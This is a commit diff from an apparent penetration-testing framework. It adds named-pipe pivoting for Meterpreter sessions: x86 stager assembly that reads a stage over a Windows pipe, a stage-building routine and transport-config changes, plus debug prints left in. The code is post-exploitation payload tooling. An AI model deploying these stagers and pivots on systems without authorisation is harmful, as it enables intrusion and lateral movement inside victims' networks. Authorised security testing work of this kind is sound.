Progress in named pipe pivots, more to come

bug/bundler_fix
OJ 2017-07-10 19:59:41 +10:00 committed by Brent Cook
parent 816e78b6f6
commit abc80655b7
13 changed files with 195 additions and 61 deletions

View File

@ -54,8 +54,8 @@ module MeterpreterOptions
# always make sure that the new session has a new guid if it's not already known
guid = session.session_guid
if guid == '00000000-0000-0000-0000-000000000000'
guid = SecureRandom.uuid
if guid == "\x00" * 16
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
session.core.set_session_guid(guid)
session.session_guid = guid
# TODO: New stageless session, do some account in the DB so we can track it later.

View File

@ -11,31 +11,35 @@ module Msf::Payload::TransportConfig
include Msf::Payload::UUID::Options
def transport_config_reverse_tcp(opts={})
ds = opts[:datastore] || datastore
config = transport_config_bind_tcp(opts)
config[:lhost] = datastore['LHOST']
config[:lhost] = ds['LHOST']
config
end
def transport_config_reverse_ipv6_tcp(opts={})
ds = opts[:datastore] || datastore
config = transport_config_reverse_tcp(opts)
config[:scheme] = 'tcp6'
config[:scope_id] = datastore['SCOPEID']
config[:scope_id] = ds['SCOPEID']
config
end
def transport_config_bind_tcp(opts={})
ds = opts[:datastore] || datastore
{
scheme: 'tcp',
lhost: datastore['LHOST'],
lport: datastore['LPORT'].to_i
}.merge(timeout_config)
lhost: ds['LHOST'],
lport: ds['LPORT'].to_i
}.merge(timeout_config(opts))
end
def transport_config_reverse_https(opts={})
ds = opts[:datastore] || datastore
config = transport_config_reverse_http(opts)
config[:scheme] = datastore['OverrideScheme'] || 'https'
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
config[:scheme] = ds['OverrideScheme'] || 'https'
config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
ds['HandlerSSLCert'])
config
end
@ -50,35 +54,38 @@ module Msf::Payload::TransportConfig
uri = luri + generate_uri_uuid(sum, opts[:uuid])
end
ds = opts[:datastore] || datastore
{
scheme: datastore['OverrideScheme'] || 'http',
lhost: opts[:lhost] || datastore['LHOST'],
lport: (opts[:lport] || datastore['LPORT']).to_i,
scheme: ds['OverrideScheme'] || 'http',
lhost: opts[:lhost] || ds['LHOST'],
lport: (opts[:lport] || ds['LPORT']).to_i,
uri: uri,
ua: datastore['MeterpreterUserAgent'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_type: datastore['PayloadProxyType'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass']
}.merge(timeout_config)
ua: ds['MeterpreterUserAgent'],
proxy_host: ds['PayloadProxyHost'],
proxy_port: ds['PayloadProxyPort'],
proxy_type: ds['PayloadProxyType'],
proxy_user: ds['PayloadProxyUser'],
proxy_pass: ds['PayloadProxyPass']
}.merge(timeout_config(opts))
end
def transport_config_reverse_named_pipe(opts={})
ds = opts[:datastore] || datastore
{
scheme: 'pipe',
lhost: datastore['PIPEHOST'],
uri: "/#{datastore['PIPENAME']}"
}.merge(timeout_config)
lhost: ds['PIPEHOST'],
uri: "/#{ds['PIPENAME']}"
}.merge(timeout_config(opts))
end
private
def timeout_config
def timeout_config(opts={})
ds = opts[:datastore] || datastore
{
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
retry_total: datastore['SessionRetryTotal'].to_i,
retry_wait: datastore['SessionRetryWait'].to_i
comm_timeout: ds['SessionCommunicationTimeout'].to_i,
retry_total: ds['SessionRetryTotal'].to_i,
retry_wait: ds['SessionRetryWait'].to_i
}
end

View File

@ -53,7 +53,7 @@ module Payload::Windows::MeterpreterLoader
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless]
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^

View File

@ -73,6 +73,8 @@ module Payload::Windows::ReverseNamedPipe
pop ebp
#{asm_reverse_named_pipe(opts)}
^
#"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
@ -206,15 +208,31 @@ module Payload::Windows::ReverseNamedPipe
push ebx ; push the address of the new stage so we can return into it
read_more:
; Query/read the bytes that are on the pipe first using PeekNamedPipe
push eax ; space for the number of bytes
mov eax, esp ; store the pointer
push 0 ; lpBytesLeftThisMessage
push eax ; lpTotalBytesAvail
push 0 ; lpBytesRead
push esi ; nBufferSize
push ebx ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'PeekNamedPipe')}
call ebp ; PeekNamedPipe(...) to query
pop ecx ; Get the bytes read/available
push ecx ; leave the result on the stack
; Invoke a read to flush the read data
push eax ; space for the number of bytes
mov eax, esp ; store the pointer
push 0 ; lpOverlapped
push eax ; lpNumberOfBytesRead
push esi ; nNumberOfBytesToRead
push ecx ; nNumberOfBytesToRead
push ebx ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the size
call ebp ; ReadFile(...) to read the data
pop ecx ; Ignore the result from readfile
^
if reliable

View File

@ -78,7 +78,8 @@ private
lhost = "[#{lhost}]"
end
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
url = "#{opts[:scheme]}://#{lhost}"
url << ":#{opts[:lport]}" if opts[:lport]
url << "#{opts[:uri]}/" if opts[:uri]
url << "?#{opts[:scope_id]}" if opts[:scope_id]

View File

@ -12,6 +12,7 @@ require 'rex/post/meterpreter/object_aliases'
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/packet_parser'
require 'rex/post/meterpreter/packet_dispatcher'
require 'rex/post/meterpreter/pivot_container'
module Rex
module Post
@ -131,7 +132,7 @@ class Client
self.encode_unicode = false
self.aes_key = nil
self.session_guid = '00000000-0000-0000-0000-000000000000'
self.session_guid = "\x00" * 16
# The SSL certificate is being passed down as a file path
if opts[:ssl_cert]
@ -153,6 +154,7 @@ class Client
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
register_inbound_handler(Rex::Post::Meterpreter::PivotContainer)
else
# Switch the socket to SSL mode and receive the hello if needed
if capabilities[:ssl] and not opts[:skip_ssl]
@ -166,6 +168,7 @@ class Client
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
register_inbound_handler(Rex::Post::Meterpreter::PivotContainer)
monitor_socket
end

View File

@ -3,6 +3,7 @@
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/extension'
require 'rex/post/meterpreter/client'
require 'msf/core/payload/transport_config'
# Used to generate a reflective DLL when migrating. This is yet another
# argument for moving the meterpreter client into the Msf namespace.
@ -67,6 +68,45 @@ class ClientCore < Extension
#
##
#
# create a named pipe pivot
#
def create_named_pipe_pivot(opts)
request = Packet.create_request('core_pivot_add')
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
c.include(::Msf::Payload::TransportConfig)
# Include the appropriate reflective dll injection module for the target process architecture...
if opts[:arch] == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
elsif opts[:arch] == ARCH_X64
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
end
stage_opts = {
force_write_handle: true,
datastore: {
'PIPEHOST' => opts[:pipe_host],
'PIPENAME' => opts[:pipe_name]
}
}
# Create the migrate stager
stager = c.new()
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
stage = stager.stage_payload(stage_opts)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
response = self.client.send_request(request)
end
#
# Get a list of loaded commands for the given extension.
#
@ -320,7 +360,7 @@ class ClientCore < Extension
#
def set_session_guid(guid)
request = Packet.create_request('core_set_session_guid')
request.add_tlv(TLV_TYPE_SESSION_GUID, [guid.gsub(/-/, '')].pack('H*'))
request.add_tlv(TLV_TYPE_SESSION_GUID, guid)
client.send_request(request)
@ -338,10 +378,7 @@ class ClientCore < Extension
response = client.send_request(*args)
bytes = response.get_tlv_value(TLV_TYPE_SESSION_GUID)
parts = bytes.unpack('H*')[0]
[parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
response.get_tlv_value(TLV_TYPE_SESSION_GUID)
end
#
@ -581,11 +618,11 @@ class ClientCore < Extension
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
end
request.add_tlv( TLV_TYPE_MIGRATE_PID, target_pid )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length )
request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length)
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
request.add_tlv(TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length)
request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
if target_process['arch'] == ARCH_X64
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64

View File

@ -170,7 +170,10 @@ class Config
ret = []
res = client.send_request(req)
res.each(TLV_TYPE_PRIVILEGE) do |p|
ret << p.value
ret << {
priv: p.get_tlv_value(TLV_TYPE_PRIVILEGE_NAME),
enabled: p.get_tlv_value(TLV_TYPE_PRIVILEGE_ENABLED),
}
end
ret
end

View File

@ -16,8 +16,10 @@ TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_GROUP | 632
TLV_TYPE_PRIVILEGE_NAME = TLV_META_TYPE_STRING | 633
TLV_TYPE_PRIVILEGE_ENABLED = TLV_META_TYPE_BOOL | 634
##
#
# Fs

View File

@ -113,6 +113,14 @@ TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551
TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552
TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
#
# Pivots
#
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 650
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 651
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 652
#
# Core flags
#
@ -786,7 +794,7 @@ class Packet < GroupTlv
def to_r(session_guid = nil, key = nil)
xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
raw = [(session_guid || '00' * SESSION_GUID_SIZE).gsub(/-/, '')].pack('H*')
raw = session_guid.dup
tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
if key && key[:key] && key[:type] == ENC_FLAG_AES256

View File

@ -370,7 +370,7 @@ module PacketDispatcher
backlog.each do |pkt|
begin
if ! dispatch_inbound_packet(pkt)
unless dispatch_inbound_packet(pkt)
# Keep Packets in the receive queue until a handler is registered
# for them. Packets will live in the receive queue for up to
# PACKET_TIMEOUT seconds, after which they will be dropped.
@ -428,9 +428,10 @@ module PacketDispatcher
packet = parser.recv(self.sock)
if packet
packet.from_r(self.tlv_enc_key)
if self.session_guid == '00000000-0000-0000-0000-000000000000'
parts = packet.session_guid.unpack('H*')[0]
self.session_guid = [parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
if self.session_guid == "\x00" * 16
self.session_guid = packet.session_guid.dup
elsif self.session_guid != packet.session_guid
STDERR.puts("Incoming packet for other session: #{packet.inspect}\n")
end
end
packet
@ -440,12 +441,12 @@ module PacketDispatcher
# Stop the monitor
#
def monitor_stop
if(self.receiver_thread)
if self.receiver_thread
self.receiver_thread.kill
self.receiver_thread = nil
end
if(self.dispatcher_thread)
if self.dispatcher_thread
self.dispatcher_thread.kill
self.dispatcher_thread = nil
end
@ -519,10 +520,8 @@ module PacketDispatcher
# If the packet is a response, try to notify any potential
# waiters
if packet.response?
if (notify_response_waiter(packet))
return true
end
if packet.response? && notify_response_waiter(packet)
return true
end
# Enumerate all of the inbound packet handlers until one handles

View File

@ -0,0 +1,47 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/inbound_packet_handler'
module Rex
module Post
module Meterpreter
class PivotContainer
# Class modifications to support global pivot message
# dispatching without having to register a per-instance handler
class << self
include Rex::Post::Meterpreter::InboundPacketHandler
# Class request handler for all channels that dispatches requests
# to the appropriate class instance's DIO handler
def request_handler(client, packet)
if packet.method == 'core_pivot_new'
STDERR.puts("Received pivot packet! #{packet.inspect}\n")
end
true
end
end
def initialize(client)
self.client = client
end
#
# The associated meterpreter client instance
#
attr_accessor :client
protected
#
# Cleans up any lingering resources
#
def cleanup
end
end
end; end; end

View File

@ -894,13 +894,22 @@ class Console::CommandDispatcher::Stdapi::Sys
if args.include? "-h"
cmd_getprivs_help
end
print_line("=" * 60)
print_line("Enabled Process Privileges")
print_line("=" * 60)
table = Rex::Text::Table.new(
'Header' => 'Enabled Process Privileges',
'Indent' => 0,
'SortIndex' => 1,
'Columns' => ['Priv Name', 'Enabled']
)
privs = client.sys.config.getprivs
STDERR.puts(privs.inspect+"\n")
client.sys.config.getprivs.each do |priv|
print_line(" #{priv}")
table << [priv[:priv], priv[:enabled].to_s]
end
print_line("")
print_line
print_line(table.to_s)
end
#